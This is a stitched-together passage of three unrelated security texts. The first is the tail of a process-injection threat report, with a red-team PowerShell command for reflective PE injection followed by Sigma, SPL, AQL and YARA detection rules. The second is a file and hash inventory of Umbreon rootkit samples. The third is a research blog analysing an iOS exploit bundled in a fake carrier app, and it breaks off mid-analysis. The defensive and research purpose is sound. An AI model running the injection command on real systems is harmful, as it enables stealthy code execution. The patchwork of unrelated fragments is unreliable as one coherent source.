`arp.exe`, `PowerShell.exe`, `vbc.exe`, `csc.exe`, `AppLaunch.exe`, and `cmd.exe` - Processes of common software including `iexplore.exe`, `ieuser.exe`, `opera.exe`, `chrome.exe`, `firefox.exe`, `outlook.exe`, and `msinm.exe` ## Target Process Selection Methods Adversaries use the following methods when picking their target process for malicious code injection: - A specific target process is called out in the code. In this case, `explorer.exe` and `svchost.exe` are the most commonly used ones. - A list of target processes is defined in the code. For example, the Turla cyber espionage group’s Carbon backdoor includes a configuration file consisting of a list of target processes for injection. A typical list includes native Windows and browser processes. - In some attack scenarios, the target process is not previously defined, and a suitable host process is located at runtime. For example, the CopyKittens group used Windows API functions to extract a list of currently active processes and to get a handle to each target process in its campaign. ## Use Cases by Malware and Threat Actors | Malware | Threat Actor | Target Industries | Target Geographies | Target Process | |----------------------|----------------|----------------------------------------------------|----------------------|----------------------------------------------------| | Backdoor.Oldrea | Dragonfly | Energy | US, Europe | `explorer.exe` | | BlackEnergy | - | Energy, Government | Ukraine | `svchost.exe` | | Cardinal RAT | - | All | All | `RegAsm.exe`, `RegSvcs.exe`, `vbc.exe`, `AppLaunch.exe`, `cvtres.exe` | | Denis backdoor | APT32 | Government, Media | East Asia | `rundll32.exe`, `svchost.exe`, `arp.exe`, `PowerShell.exe` | | Downdelph downloader | APT28 | Government | US, Europe | `explorer.exe` | | Dropper (unnamed) | Putter Panda | Government, Telecommunication, Defense, Research, Technology, Aerospace | US, Europe | `msinm.exe`, `outlook.exe`, `iexplore.exe`, `firefox.exe` | | Emotet banking malware| - | All | All | `explorer.exe` | | Kazuar backdoor | Turla | Government, Military, Defense | US, Europe, Middle East | `explorer.exe` | | RAT (unnamed) | Emissary Panda | Energy, Government, Technology, Manufacturing | Middle East, Central Asia | `svchost.exe` | | Rokrat RAT | APT37 | Government, Finance | Middle East, East Asia | `cmd.exe` | | TClient backdoor | Tropic Trooper | Government, Healthcare, Transportation, High-Tech | East Asia | `dllhost.exe` | | Tidyelf dropper | APT41 | Healthcare, Technology, Telecommunications, Media, Education, Retail | Europe, East Asia, US | `iexplore.exe` | | Trickbot banking malware| - | All | All | `svchost.exe` | | Trojan (unnamed) | Gorgon Group | Government | US, Europe | `cvtres.exe`, `MSBuild.exe` | | Trojan (unnamed) | Kimsuky | Government, Defense, Logistics | South Korea | `explorer.exe` | | ZxShell RAT | Group 72 | Manufacturing, Aerospace, Defense, Media | US, East Asia | `svchost.exe` | ## Example Process Injection Method: Reflective DLL Injection Reflective DLL injection is one of the most used process injection methods employed by adversaries. This method allows injecting and executing a DLL inside another process by creating a DLL that maps itself into memory when executed, instead of relying on Windows API’s loader calls. This technique avoids storing the DLL on disk and calling the Windows API’s LoadLibrary that might be detected by security tools. ## Red Teaming - How to Simulate? Powersploit’s `Invoke-ReflectivePEInjection` module can be used to simulate the reflective DLL injection technique. In addition to loading a DLL or EXE into PowerShell, it can reflectively load a DLL into a remote process. Because of its capabilities, adversaries are also using this module for injection, such as the Turla APT Group. The below command is a simulation of reflective DLL injection using the `Invoke-ReflectivePEInjection` module. With this command, contents of the `calc.exe` file are read into the `$PEByte` byte array using the `ReadAllBytes` method. Then the byte array containing the `calc.exe` is loaded and executed locally using the `-PEBytes` parameter. ```powershell powershell -c "Unblock-File %TMP%\Invoke-ReflectivePEInjection.ps1; Import-Module %TMP%\Invoke-ReflectivePEInjection.ps1; $PEBytes = [IO.File]::ReadAllBytes('%windir%\System32\calc.exe'); Invoke-ReflectivePEInjection -PEBytes $PEBytes" ``` ## Blue Teaming - How to Detect? ### Sigma Rule To detect the reflective DLL injection technique, we need logs that include PowerShell activities. Event log entries in the `Microsoft-Windows-PowerShell/Operational` log include such activities. The Event ID 4104 (script block logging) records accurate blocks of code as they are executed by the PowerShell engine. Script block logging captures the de-obfuscated full contents of the code as it is executed, including scripts and commands. When the DLL is injected into the target process, the malware has to map the DLL’s raw binary into virtual memory. It uses `kernel32.dll`, `VirtualAlloc`, `GetProcAddress`, and `LoadLibraryA` functions to get the correct address of the injected export function. Picus Labs’ Blue team developed the following Sigma rule by taking advantage of this finding mechanism and utilizing the `Microsoft-Windows-PowerShell/Operational` log with the Event ID 4104. ```yaml title: Reflective Portable Executable Injection via PowerShell status: stable description: Detects the attempt of reflective portable executable (DLL/EXE) injection by PowerShell that uses API calls. This method is used by adversaries to evade detection from security products since the execution is masked under a legitimate process. author: Picus Security logsource: product: windows service: powershell/operational definition1: 'Requirements: Group Policy : Computer Configuration\Administrative Templates\Windows Components\Windows PowerShell\Turn On Module Logging' definition2: 'Requirements: Group Policy : Computer Configuration\Administrative Templates\Windows Components\Windows PowerShell\Turn On PowerShell Script Block Logging' detection: selection: EventID: 4104 keyword1: - '*kernel32.dll*' keyword2: - '*LoadLibraryA*' keyword3: - '*GetProcAddress*' keyword4: - '*VirtualAlloc*' condition: All of them falsepositives: - Unlikely, legitimate use in red teaming activities level: high tags: - attack.defense_evasion - attack.privilege_escalation - attack.t1055 ``` ### Splunk SPL Query ```spl (source="WinEventLog:Microsoft-Windows-PowerShell/Operational" EventCode="4104" "*kernel32.dll*" "*LoadLibraryA*" "*GetProcAddress*" "*VirtualAlloc*") ``` ### IBM QRadar AQL Query ```sql (LOGSOURCETYPENAME(devicetype)='Microsoft Windows Security Event Log' and EventID='4104' and UTF8(payload) ilike '%kernel32.dll%' and UTF8(payload) ilike '%LoadLibraryA%' and UTF8(payload) ilike '%GetProcAddress%' and UTF8(payload) ilike '%VirtualAlloc%') ``` ### YARA Rule The following YARA rule can be used to detect PowerShell scripts used for reflective DLL injection. This rule detects both Powersploit’s `Invoke-ReflectivePEInjection` module and Mimikatz’s PE Reflective Injection method. ```yara rule power_pe_injection { meta: description = "PowerShell with PE Reflective Injection" author = "Benjamin DELPY (gentilkiwi)" strings: $str_loadlib = "0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9" condition: $str_loadlib } ``` ## Appendixes ### Appendix A - Aliases of Threat Groups | Threat Group | Aliases | |---------------------|----------------------------------| | APT28 | Sednit, Sofacy, Fancy Bear | | APT32 | OceanLotus | | APT37 | Group 123, Reaper | | Dragonfly | Energetic Bear | | Emissary Panda | TG-3390, APT 27, Bronze Union | | Group 72 | Axiom | | Putter Panda | APT2 | | Tropic Trooper | KeyBoy | ### Appendix B - Aliases of Malware Families | Malware | Aliases | |---------------------|----------------------------------| | Backdoor.Oldrea | Havex | | ZxShell RAT | Sensocode | ### References 1. ESET Research, “Carbon Paper: Peering into Turla’s second stage backdoor | WeLiveSecurity” 2. Minerva Labs LTD, ClearSky Cyber Security, “CopyKittens Attack Group.” 3. Symantec Security Response, “Dragonfly: Cyberespionage Attacks Against Energy Suppliers.” 4. F-Secure, “BlackEnergy & Quedagh The convergence of crimeware and APT attacks.” 5. J. Grunzweig, “Cardinal RAT Active for Over Two Years,” Unit42. 6. Cybereason, “Operation Cobalt Kitty.” 7. “En Route with Sednit Part 3: A Mysterious Downloader,” Eset. 8. CrowdStrike, “CrowdStrike Intelligence Report PUTTER PANDA.” 9. “Emotet Malware | CISA.” 10. B. Levene, R. Falcone, and T. Halfpop, “Kazuar: Multiplatform Espionage Backdoor with API Access,” Unit42. 11. nccgroup, “Emissary Panda – A potential new malicious tool.” 12. Talos Group, “Threat Spotlight: Opening the ZxShell - Cisco Blog.” 13. PowerShellMafia, “PowerShellMafia/PowerSploit.” 14. ESET, “A dive into Turla.” 15. dotnet-bot, “File.ReadAllBytes (System.IO).” 16. gentilkiwi, “gentilkiwi/mimikatz.”
# Rootkit Umbreon / Umreon - x86, ARM samples Pokémon-themed Umbreon Linux Rootkit Hits x86, ARM Systems Research: Trend Micro There are two packages: one is 'found in the wild' full and a set of hashes from Trend Micro (all but one file are already in the full package). ## File information ### Part one (full package) | # | File Name | Hash Value | File Size (on Disk) | Duplicate? | |----|-----------------------|----------------------------------------------------|------------------------------|--------------------------------| | 1 | .umbreon-ascii | 0B880E0F447CD5B6A8D295EFE40AFA37 | 6085 bytes (5.94 KiB) | | | 2 | autoroot | 1C5FAEEC3D8C50FAC589CD0ADD0765C7 | 281 bytes (281 bytes) | | | 3 | CHANGELOG | A1502129706BA19667F128B44D19DC3C | 11 bytes (11 bytes) | | | 4 | cli.sh | C846143BDA087783B3DC6C244C2707DC | 5682 bytes (5.55 KiB) | | | 5 | hideports | D41D8CD98F00B204E9800998ECF8427E | 0 bytes (bytes) | Yes, of file promptlog | | 6 | install.sh | 9DE30162E7A8F0279E19C2C30280FFF8 | 5634 bytes (5.5 KiB) | | | 7 | Makefile | 0F5B1E70ADC867DD3A22CA62644007E5 | 797 bytes (797 bytes) | | | 8 | portchecker | 006D162A0D0AA294C85214963A3D3145 | 113 bytes (113 bytes) | | | 9 | promptlog | D41D8CD98F00B204E9800998ECF8427E | 0 bytes (bytes) | | | 10 | readlink.c | 42FC7D7E2F9147AB3C18B0C4316AD3D8 | 1357 bytes (1.33 KiB) | | | 11 | ReadMe.txt | B7172B364BF5FB8B5C30FF528F6C5125 | 2244 bytes (2.19 KiB) | | | 12 | setup | 694FFF4D2623CA7BB8270F5124493F37 | 332 bytes (332 bytes) | | | 13 | spytty.sh | 0AB776FA8A0FBED2EF26C9933C32E97C | 1011 bytes (1011 bytes) | Yes, of file spytty.sh | | 14 | umbreon.c | 91706EF9717176DBB59A0F77FE95241C | 1007 bytes (1007 bytes) | | | 15 | access.c | 7C0A86A27B322E63C3C29121788998B8 | 713 bytes (713 bytes) | | | 16 | audit.c | A2B2812C80C93C9375BFB0D7BFCEFD5B | 1434 bytes (1.4 KiB) | | | 17 | chown.c | FF9B679C7AB3F57CFBBB852A13A350B2 | 2870 bytes (2.8 KiB) | | | 18 | config.h | 980DEE60956A916AFC9D2997043D4887 | 967 bytes (967 bytes) | | | 19 | config.h.dist | 980DEE60956A916AFC9D2997043D4887 | 967 bytes (967 bytes) | Yes, of file config.h | | 20 | dirs.c | 46B20CC7DA2BDB9ECE65E36A4F987ABC | 3639 bytes (3.55 KiB) | | | 21 | dlsym.c | 796DA079CC7E4BD7F6293136604DC07B | 4088 bytes (3.99 KiB) | | | 22 | exec.c | 1935ED453FB83A0A538224AFAAC71B21 | 4033 bytes (3.94 KiB) | | | 23 | getpath.h | 588603EF387EB617668B00EAFDAEA393 | 183 bytes (183 bytes) | | | 24 | getprocname.h | F5781A9E267ED849FD4D2F5F3DFB8077 | 805 bytes (805 bytes) | | | 25 | includes.h | F4797AE4B2D5B3B252E0456020F58E59 | 629 bytes (629 bytes) | | | 26 | kill.c | C4BD132FC2FFBC84EA5103ABE6DC023D | 555 bytes (555 bytes) | | | 27 | links.c | 898D73E1AC14DE657316F084AADA58A0 | 2274 bytes (2.22 KiB) | | | 28 | local-door.c | 76FC3E9E2758BAF48E1E9B442DB98BF8 | 501 bytes (501 bytes) | | | 29 | lpcap.h | EA6822B23FE02041BE506ED1A182E5CB | 1690 bytes (1.65 KiB) | | | 30 | maps.c | 9BCD90BEA8D9F9F6270CF2017F9974E2 | 1100 bytes (1.07 KiB) | | | 31 | misc.h | 1F9FCC5D84633931CDD77B32DB1D50D0 | 2728 bytes (2.66 KiB) | | | 32 | netstat.c | 00CF3F7E7EA92E7A954282021DD72DC4 | 1113 bytes (1.09 KiB) | | | 33 | open.c | F7EE88A523AD2477FF8EC17C9DCD7C02 | 8594 bytes (8.39 KiB) | | | 34 | pam.c | 7A947FDC0264947B2D293E1F4D69684A | 2010 bytes (1.96 KiB) | | | 35 | pam_private.h | 2C60F925842CEB42FFD639E7C763C7B0 | 12480 bytes (12.19 KiB) | | | 36 | pam_vprompt.c | 017FB0F736A0BC65431A25E1A9D393FE | 3826 bytes (3.74 KiB) | | | 37 | passwd.c | A0D183BBE86D05E3782B5B24E2C96413 | 2364 bytes (2.31 KiB) | | | 38 | pcap.c | FF911CA192B111BD0D9368AFACA03C46 | 1295 bytes (1.26 KiB) | | | 39 | procstat.c | 7B14E97649CD767C256D4CD6E4F8D452 | 398 bytes (398 bytes) | | | 40 | procstatus.c | 72ED74C03F4FAB0C1B801687BE200F06 | 3303 bytes (3.23 KiB) | | | 41 | readwrite.c | C068ED372DEAF8E87D0133EAC0A274A8 | 2710 bytes (2.65 KiB) | | | 42 | rename.c | C36BE9C01FEADE2EF4D5EA03BD2B3C05 | 535 bytes (535 bytes) | | | 43 | setgid.c | 5C023259F2C244193BDA394E2C0B8313 | 667 bytes (667 bytes) | | | 44 | sha256.h | 003D805D919B4EC621B800C6C239BAE0 | 545 bytes (545 bytes) | | | 45 | socket.c | 348AEF06AFA259BFC4E943715DB5A00B | 579 bytes (579 bytes) | | | 46 | stat.c | E510EE1F78BD349E02F47A7EB001B0E3 | 7627 bytes (7.45 KiB) | | | 47 | syslog.c | 7CD3273E09A6C08451DD598A0F18B570 | 1497 bytes (1.46 KiB) | | | 48 | umbreon.h | F76CAC6D564DEACFC6319FA167375BA5 | 4316 bytes (4.21 KiB) | | | 49 | unhide-funcs.c | 1A9F62B04319DA84EF71A1B091434C64 | 4729 bytes (4.62 KiB) | | | 50 | cryptpass.py | 2EA92D6EC59D85474ED7A91C8518E7EC | 192 bytes (192 bytes) | | ### Part 2 (those listed in the Trend Micro article) | # | File Name | Hash Value | File Size (on Disk) | |----|-------------------------------------------------------------------------------------|------------------------------------------------|------------------------------| | 1 | 015a84eb1d18beb310e7aeeceab8b84776078935c45924b3a10aa884a93e28ac | A47E38464754289C0F4A55ED7BB55648 | 9375 bytes (9.16 KiB) | | 2 | 0751cf716ea9bc18e78eb2a82cc9ea0cac73d70a7a74c91740c95312c8a9d53a | F9BA2429EAE5471ACDE820102C5B8159 | 7512 bytes (7.34 KiB) | | 3 | 0a4d5ffb1407d409a55f1aed5c5286d4f31fe17bc99eabff64aa1498c5482a5f | 0AB776FA8A0FBED2EF26C9933C32E97C | 1011 bytes (1011 bytes) | | 4 | 0ce8c09bb6ce433fb8b388c369d7491953cf9bb5426a7bee752150118616d8ff | B982597CEB7274617F286CA80864F499 | 986 bytes (986 bytes) | | 5 | 122417853c1eb1868e429cacc499ef75cfc018b87da87b1f61bff53e9b8e8670 | 9EEF7E7E3C1BEE2F8591A088244BE0CB | 2167 bytes (2.12 KiB) | | 6 | 409c90ecd56e9abcb9f290063ec7783ecbe125c321af3f8ba5dcbde6e15ac64a | B4746BB5E697F23A5842ABCAED36C914 | 6149 bytes (6 KiB) | | 7 | 4fc4b5dab105e03f03ba3ec301bab9e2d37f17a431dee7f2e5a8dfadcca4c234 | D0D97899131C29B3EC9AE89A6D49A23E | 65160 bytes (63.63 KiB) | | 8 | 8752d16e32a611763eee97da6528734751153ac1699c4693c84b6e9e4fb08784 | E7E82D29DFB1FC484ED277C702187818 | 55564 bytes (54.26 KiB) | | 9 | 991179b6ba7d4aeabdf463118e4a2984276401368f4ab842ad8a5b8b73088522 | 2B1863ACDC0068ED5D50590CF792DF05 | 7664 bytes (7.48 KiB) | | 10 | a378b85f8f41de164832d27ebf7006370c1fb8eda23bb09a3586ed29b5dbdddf | A977F68C59040E40A822C384D1CEDEB6 | 176 bytes (176 bytes) | | 11 | aa24deb830a2b1aa694e580c5efb24f979d6c5d861b56354a6acb1ad0cf9809b | DF320ED7EE6CCF9F979AEFE451877FFC | 26 bytes (26 bytes) | | 12 | acfb014304b6f2cff00c668a9a2a3a9cbb6f24db6d074a8914dd69b43afa4525 | 84D552B5D22E40BDA23E6587B1BC532D | 6852 bytes (6.69 KiB) | | 13 | c80d19f6f3372f4cc6e75ae1af54e8727b54b51aaf2794fedd3a1aa463140480 | 087DD79515D37F7ADA78FF5793A42B7B | 11184 bytes (10.92 KiB) | | 14 | e9bce46584acbf59a779d1565687964991d7033d63c06bddabcfc4375c5f1853 | BBEB18C0C3E038747C78FCAB3E0444E3 | 71940 bytes (70.25 KiB) |
# The Curious Tale of a Fake Carrier App Posted by Ian Beer, Google Project Zero **NOTE:** This issue was CVE-2021-30983 and was fixed in iOS 15.2 in December 2021. Towards the end of 2021, Google's Threat Analysis Group (TAG) shared an iPhone app with me: an app splash screen showing the Vodafone carrier logo and the text "My Vodafone" (not the legitimate Vodafone app). Although this looks like the real My Vodafone carrier app available in the App Store, it didn't come from the App Store and is not the real application from Vodafone. TAG suspects that a target receives a link to this app in an SMS after the attacker asks the carrier to disable the target's mobile data connection. The SMS claims that in order to restore mobile data connectivity, the target must install the carrier app and includes a link to download and install this fake app. This sideloading works because the app is signed with an enterprise certificate, which can be purchased for $299 via the Apple Enterprise developer program. This program allows an eligible enterprise to obtain an Apple-signed embedded.mobileprovision file with the ProvisionsAllDevices key set. An app signed with the developer certificate embedded within that mobileprovision file can be sideloaded on any iPhone, bypassing Apple's App Store review process. While we understand that the Enterprise developer program is designed for companies to push "trusted apps" to their staff's iOS devices, in this case, it appears that it was being used to sideload this fake carrier app. In collaboration with Project Zero, TAG has published an additional post with more details around the targeting and the actor. The rest of this blog post is dedicated to the technical analysis of the app and the exploits contained therein. ## App Structure The app is broken up into multiple frameworks. `InjectionKit.framework` is a generic privilege escalation exploit wrapper, exposing the primitives you'd expect (kernel memory access, entitlement injection, amfid bypasses) as well as higher-level operations like app installation, file creation, and so on. `Agent.framework` is partially obfuscated but, as the name suggests, seems to be a basic agent able to find and exfiltrate interesting files from the device like the WhatsApp messages database. Six privilege escalation exploits are bundled with this app. Five are well-known, publicly available N-day exploits for older iOS versions. The sixth is not like those others at all. This blog post is the story of the last exploit and the month-long journey to understand it. ## Something's Missing? Or Am I Missing Something? Although all the exploits were different, five of them shared a common high-level structure. An initial phase where the kernel heap was manipulated to control object placement. Then the triggering of a kernel vulnerability followed by well-known steps to turn that into something useful, perhaps by disclosing kernel memory then building an arbitrary kernel memory write primitive. The sixth exploit didn't have anything like that. Perhaps it could be triggering a kernel logic bug like Linuz Henze's Fugu14 exploit, or a very bad memory safety issue which gave fairly direct kernel memory access. But neither of those seemed very plausible either. It looked, quite simply, like an iOS kernel exploit from a decade ago, except one which was first quite carefully checking that it was only running on an iPhone 12 or 13. It contained log messages like: ``` printf("Failed to prepare fake vtable: 0x%08x", ret); ``` which seemed to happen far earlier than the exploit could possibly have defeated mitigations like KASLR and PAC. Shortly after that was this log message: ``` printf("Waiting for R/W primitives..."); ``` Why would you need to wait? Then shortly after that: ``` printf("Memory read/write and callfunc primitives ready!"); ``` Up to that point, the exploit made only four `IOConnectCallMethod` calls and there were no other obvious attempts at heap manipulation. But there was another log message which started to shed some light: ``` printf("Unexpected data read from DCP: 0x%08x", v49); ``` DCP? In October 2021, Adam Donenfeld tweeted this: ``` DCP is the "Display Co-Processor" which ships with iPhone 12 and above and all M1 Macs. ``` There's little public information about the DCP; the most comprehensive comes from the Asahi Linux project which is porting Linux to M1 Macs. In their August 2021 and September 2021 updates, they discussed their DCP reverse-engineering efforts and the open-source DCP client written by @alyssarzg. Asahi describes the DCP like this: > On most mobile SoCs, the display controller is just a piece of hardware with simple registers. While this is true on the M1 as well, Apple decided to give it a twist. They added a coprocessor to the display engine (called DCP), which runs its own firmware (initialized by the system bootloader), and moved most of the display driver into the coprocessor. But instead of doing it at a natural driver boundary… they took half of their macOS C++ driver, moved it into the DCP, and created a remote procedure call interface so that each half can call methods on C++ objects on the other CPU! The Asahi Linux project reverse-engineered the API to talk to the DCP but they are restricted to using Apple's DCP firmware (loaded by iBoot) - they can't use a custom DCP firmware. Consequently, their documentation is limited to the DCP RPC API with few details of the DCP internals. ## Setting the Stage Before diving into DCP internals, it's worth stepping back a little. What even is a co-processor in a modern, highly integrated SoC (System-on-a-Chip) and what might the consequences of compromising it be? Years ago, a co-processor would likely have been a physically separate chip. Nowadays, a large number of these co-processors are integrated along with their interconnects directly onto a single die, even if they remain fairly independent systems. We can see in this M1 die shot from Tech Insights that the CPU cores in the middle and right-hand side take up only around 10% of the die. Companies like SystemPlus perform very thorough analysis of these dies. Based on their analysis, the DCP is likely the rectangular region indicated on this M1 die. It takes up around the same amount of space as the four high-efficiency cores seen in the center, though it seems to be mostly SRAM. With just this low-resolution image, it's not really possible to say much more about the functionality or capabilities of the DCP and what level of system access it has. To answer those questions, we'll need to take a look at the firmware. ## My Kingdom for a .dSYM! The first step is to get the DCP firmware image. iPhones (and now M1 Macs) use .ipsw files for system images. An .ipsw is really just a .zip archive and the Firmware/ folder in the extracted .zip contains all the firmware for the co-processors, modems, etc. The DCP firmware is this file: ``` Firmware/dcp/iphone13dcp.im4p ``` The im4p in this case is just a 25-byte header which we can discard: ``` $ dd if=iphone13dcp.im4p of=iphone13dcp bs=25 skip=1 $ file iphone13dcp iphone13dcp: Mach-O 64-bit preload executable arm64 ``` It's a Mach-O! Running `nm -a` to list all symbols shows that the binary has been fully stripped: ``` $ nm -a iphone13dcp iphone13dcp: no symbols ``` Function names make understanding code significantly easier. From looking at the handful of strings in the exploit, some of them looked like they might be referencing symbols in a DCP firmware image ("M3_CA_ResponseLUT read: 0x%08x" for example) so I thought perhaps there might be a DCP firmware image where the symbols hadn't been stripped. Since the firmware images are distributed as .zip files and Apple's servers support range requests, with a bit of Python and the partialzip tool, we can relatively easily and quickly get every beta and release DCP firmware. I checked over 300 distinct images; every single one was stripped. Guess we'll have to do this the hard way! ## Day 1; Instruction 1 ``` $ otool -h raw_fw/iphone13dcp raw_fw/iphone13dcp: Mach header magic cputype cpusubtype caps filetype ncmds sizeofcmds flags 0xfeedfacf 0x100000C 0 0x00 5 5 2240 0x00000001 ``` That cputype is plain arm64 (ArmV8) without pointer authentication support. The binary is fairly large (3.7MB) and IDA's auto-analysis detects over 7000 functions. With any brand new binary, I usually start with a brief look through the function names and the strings. The binary is stripped so there are no function name symbols, but there are plenty of C++ function names as strings. The cross-references to those strings look like this: ``` log(0x40000001LL, "UPBlock_ALSS.cpp", 341, "%s: capture buffer exhausted, aborting capture\n", "void IOMFB::UPBlock_ALSS::send_data(uint64_t, uint32_t)"); ``` This is almost certainly a logging macro which expands `__FILE__`, `__LINE__`, and `__PRETTY_FUNCTION__`. This allows us to start renaming functions and finding vtable pointers. ## Object Structure From the Asahi Linux blog posts, we know that the DCP is using an Apple-proprietary RTOS called RTKit for which there is very little public information. There are some strings in the binary with the exact version: ``` ADD X8, X8, #aLocalIphone13d@P AGEOFF ; "local-iphone13dcp.release" ADD X9, X9, #aRtkitIos182640@P AGEOFF ; "RTKit_iOS-1826.40.9.debug" ``` The code appears to be predominantly C++. There appear to be multiple C++ object hierarchies; those involved with this vulnerability look a bit like IOKit C++ objects. Their common base class looks like this: ```cpp struct __cppobj RTKIT_RC_RTTI_BASE { RTKIT_RC_RTTI_BASE_vtbl *__vftable /*VFT*/; uint32_t refcnt; uint32_t typeid; }; ``` The RTKit base class has a vtable pointer, a reference count, and a four-byte Run Time Type Information (RTTI) field - a 4-byte ASCII identifier like BLHA, WOLO, MMAP, UNPI, OSST, OSBO, and so on. These identifiers look a bit cryptic but they're quite descriptive once you figure them out (and I'll describe the relevant ones as we encounter them). The base type has the following associated vtable: ```cpp struct /*VFT*/ RTKIT_RC_RTTI_BASE_vtbl { void (__cdecl *take_ref)(RTKIT_RC_RTTI_BASE *this); void (__cdecl *drop_ref)(RTKIT_RC_RTTI_BASE *this); void (__cdecl *take_global_type_ref)(RTKIT_RC_RTTI_BASE *this); void (__cdecl *drop_global_type_ref)(RTKIT_RC_RTTI_BASE *this); void (__cdecl *getClassName)(RTKIT_RC_RTTI_BASE *this); void (__cdecl *dtor_a)(RTKIT_RC_RTTI_BASE *this); void (__cdecl *unk)(RTKIT_RC_RTTI_BASE *this); }; ``` ## Exploit Flow The exploit running in the app starts by opening an IOKit user client for the `AppleCLCD2` service. `AppleCLCD` seems to be the application processor of `IOMobileFrameBuffer` and `AppleCLCD2` the DCP version. The exploit only calls three different external method selectors on the `AppleCLCD2` user client: 68, 78, and 79. The one with the largest and most interesting-looking input is 78, which corresponds to this user client method in the kernel driver: ```cpp IOReturn IOMobileFramebufferUserClient::s_set_block( IOMobileFramebufferUserClient *this, void *reference, IOExternalMethodArguments *args) { const unsigned __int64 *extra_args; u8 *structureInput; structureInput = args->structureInput; if (structureInput && args->scalarInputCount >= 2) { if (args->scalarInputCount == 2) extra_args = 0LL; else extra_args = args->scalarInput + 2; return this->framebuffer_ap->set_block_dcp( this->task, args->scalarInput[0], args->scalarInput[1], extra_args, args->scalarInputCount - 2, structureInput, args->structureInputSize); } else { return 0xE00002C2; } } ``` This unpacks the `IOConnectCallMethod` arguments and passes them to: ```cpp IOMobileFramebufferAP::set_block_dcp( IOMobileFramebufferAP *this, task *task, int first_scalar_input, int second_scalar_input, const unsigned __int64 *pointer_to_remaining_scalar_inputs, unsigned int scalar_input_count_minus_2, const unsigned __int8 *struct_input, unsigned __int64 struct_input_size) ``` This method uses some autogenerated code to serialize the external method arguments into a buffer like this: ```cpp arg_struct { struct task *task; u64 scalar_input_0; u64 scalar_input_1; u64 [] remaining_scalar_inputs; u64 cntExtraScalars; u8 [] structInput; u64 CntStructInput; } ``` which is then passed to `UnifiedPipeline2::rpc` along with a 4-byte ASCII method identifier ('A435' here): ```cpp UnifiedPipeline2::rpc( 'A435', arg_struct, 0x105Cu, &retval_buf, 4u); ``` `UnifiedPipeline2::rpc` calls `DCPLink::rpc` which calls `AppleDCPLinkService::rpc` to perform one more level of serialization which packs the method identifier and a "stream identifier" together with the `arg_struct` shown above. `AppleDCPLinkService::rpc` then calls `rpc_caller_gated` to allocate space in a shared memory buffer, copy the buffer into there, then signal to the DCP that a message is available. Effectively, the implementation of the `IOMobileFramebuffer` user client has been moved on to the DCP and the external method interface is now a proxy shim, via shared memory, to the actual implementations of the external methods which run on the DCP. ## Exploit Flow: The Other Side The next challenge is to find where the messages start being processed on the DCP. Looking through the log strings, there's a function which is clearly called `rpc_callee_gated` - quite likely that's the receive side of the function `rpc_caller_gated` we saw earlier. `rpc_callee_gated` unpacks the wire format then has an enormous switch statement which maps all the 4-letter RPC codes to function pointers: ```cpp switch (rpc_id) { case 'A000': goto LABEL_146; case 'A001': handler_fptr = callback_handler_A001; break; case 'A002': handler_fptr = callback_handler_A002; break; case 'A003': handler_fptr = callback_handler_A003; break; case 'A004': handler_fptr = callback_handler_A004; break; case 'A005': handler_fptr = callback_handler_A005; break; } ``` At the bottom of this switch statement is the invocation of the callback handler: ```cpp ret = handler_fptr( meta, in_struct_ptr, in_struct_size, out_struct_ptr, out_struct_size); ``` `in_struct_ptr` points to a copy of the serialized `IOConnectCallMethod` arguments we saw being serialized earlier on the application processor: ```cpp arg_struct { struct task *task; u64 scalar_input_0; u64 scalar_input_1; u64 [] remaining_scalar_inputs; u32 cntExtraScalars; u8 [] structInput; u64 cntStructInput; } ``` The callback unpacks that buffer and calls a C++ virtual function: ```cpp unsigned int callback_handler_A435( u8 *meta, void *args, uint32_t args_size, void *out_struct_ptr, uint32_t out_struct_size) { int64 instance_id; uint64_t instance; int err; int retval; unsigned int result; instance_id = meta->instance_id; instance = global_instance_table[instance_id].IOMobileFramebufferType; if (!instance) { log_fatal( "IOMFB: %s: no instance for instance ID: %u\n", "static T *IOMFB::InstanceTracker::instance" "(IOMFB::InstanceTracker::tracked_entity_t, uint32_t)" " [T = IOMobileFramebuffer]", instance_id); } err = (instance-16)->vtable_0x378( // virtual call (instance-16), args->task, args->scalar_input_0, args->scalar_input_1, args->remaining_scalar_inputs, args->cnt_extra_scalars, args->structInput, args->cntStructInput); retval = convert_error(err); result = 0; *(_DWORD *)out_struct_ptr = retval; return result; } ``` The challenge here is to figure out where that virtual call goes. The object is being looked up in a global table based on the instance id. We can't just set a breakpoint and while emulating the firmware is probably possible, that would likely be a long project in itself. I took a hackier approach: we know that the vtable needs to be at least 0x380 bytes large so just go through all those vtables, decompile them, and see if the prototypes look reasonable! There's one clear match in the vtable for the UNPI type: ```cpp UNPI::set_block( UNPI *this, struct task *caller_task_ptr, unsigned int first_scalar_input, int second_scalar_input, int *remaining_scalar_inputs, uint32_t cnt_remaining_scalar_inputs, uint8_t *structure_input_buffer, uint64_t structure_input_size) { struct block_handler_holder *holder; struct metadispatcher metadisp; if (second_scalar_input) return 0x80000001LL; holder = this->UPPipeDCP_H13P->block_handler_holders; if (!holder) return 0x8000000BLL; metadisp.address_of_some_zerofill_static_buffer = &unk_3B8D18; metadisp.handlers_holder = holder; metadisp.structure_input_buffer = structure_input_buffer; metadisp.structure_input_size = structure_input_size; metadisp.remaining_scalar_inputs = remaining_scalar_inputs; metadisp.cnt_remaining_scalar_input = cnt_remaining_scalar_inputs; metadisp.some_flags = 0x40000000LL; metadisp.dispatcher_fptr = a_dispatcher; metadisp.offset_of_something_which_looks_serialization_related = &off_1C1308; return metadispatch(holder, first_scalar_input, 1, caller_task_ptr, structure_input_buffer, &metadisp, 0); } ``` This method wraps up the arguments into another structure I've called `metadispatcher`: ```cpp struct __attribute__((aligned(8))) metadispatcher { uint64_t address_of_some_zerofill_static_buffer; uint64_t some_flags; __int64 (__fastcall *dispatcher_fptr)(struct metadispatcher *, struct BlockHandler *, __int64, _QWORD); uint64_t offset_of_something_which_looks_serialization_related; struct block_handler_holder *handlers_holder; uint64_t structure_input_buffer; uint64_t structure_input_size; uint64_t remaining_scalar_inputs; uint32_t cnt_remaining_scalar_input; }; ``` That `metadispatcher` object is then passed to this method: ```cpp return metadispatch(holder, first_scalar_input, 1, caller_task_ptr, structure_input_buffer, &metadispatch, 0); ``` In there we reach this code: ```cpp block_type_handler = lookup_a_handler_for_block_type_and_subtype( a1, first_scalar_input, // block_type a3); // subtype ``` The exploit calls this `set_block` external method twice, passing two different values for `first_scalar_input`, 7 and 19. Here we can see that those correspond to looking up two different block handler objects here. The lookup function searches a linked list of block handler structures; the head of the list is stored at offset 0x1448 in the `UPPipeDCP_H13P` object and 